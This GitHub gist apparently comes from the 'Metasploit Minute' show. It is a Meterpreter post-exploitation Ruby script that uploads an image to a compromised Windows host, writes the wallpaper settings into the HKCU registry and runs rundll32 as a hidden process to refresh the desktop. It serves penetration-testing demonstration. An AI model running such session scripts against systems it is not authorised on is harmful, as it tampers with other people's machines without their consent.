Skip to content

Instantly share code, notes, and snippets.

@mubix
Created August 19, 2015 07:32
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mubix/287fa566ee8a489a0724 to your computer and use it in GitHub Desktop.
Save mubix/287fa566ee8a489a0724 to your computer and use it in GitHub Desktop.
Wallpaper Script from Metasploit Minute
#Change Wallpaper
session = client
key = "HKCU"
wallpaper = "kerby.bmp"
based = "/root/kerby.bmp"
# based = File.join(Msf::Config.install_root, "data", wallpaper)
bgcolor = "0 0 0" # set to 255 255 255 for white
refresh_cmd = "rundll32.exe user32.dll, UpdatePerUserSystemParameters"
delay = 5
#Upload Image
tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8)
print_status("Creating a temp dir for wallpaper #{tempdir}...")
client.fs.dir.mkdir(tempdir)
print_status(" >> Uploading #{wallpaper}...")
fd = client.fs.file.new(tempdir + "\\" + wallpaper, "wb")
fd.write(::File.read(based, ::File.size(based)))
fd.close
if(key)
registry_setvaldata("#{key}\\Control\ Panel\\Desktop\\","Wallpaper","#{tempdir}\\#{wallpaper}","REG_SZ")
# Setting the base color isn't working right now
# registry_setvaldata("#{key}\\Control\ Panel\\Colors\\","Background","#{bgcolor}","REG_SZ")
registry_setvaldata("#{key}\\Control\ Panel\\Desktop\\","TileWallpaper","0","REG_SZ")
print_status("Set Wallpaper to #{tempdir}#{wallpaper}")
else
print_status("Error: failed to open the registry key for writing")
end
#Refresh the users' desktop config
r = session.sys.process.execute(refresh_cmd, nil, {'Hidden' => true, 'Channelized' => true})
r.channel.close
r.close
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment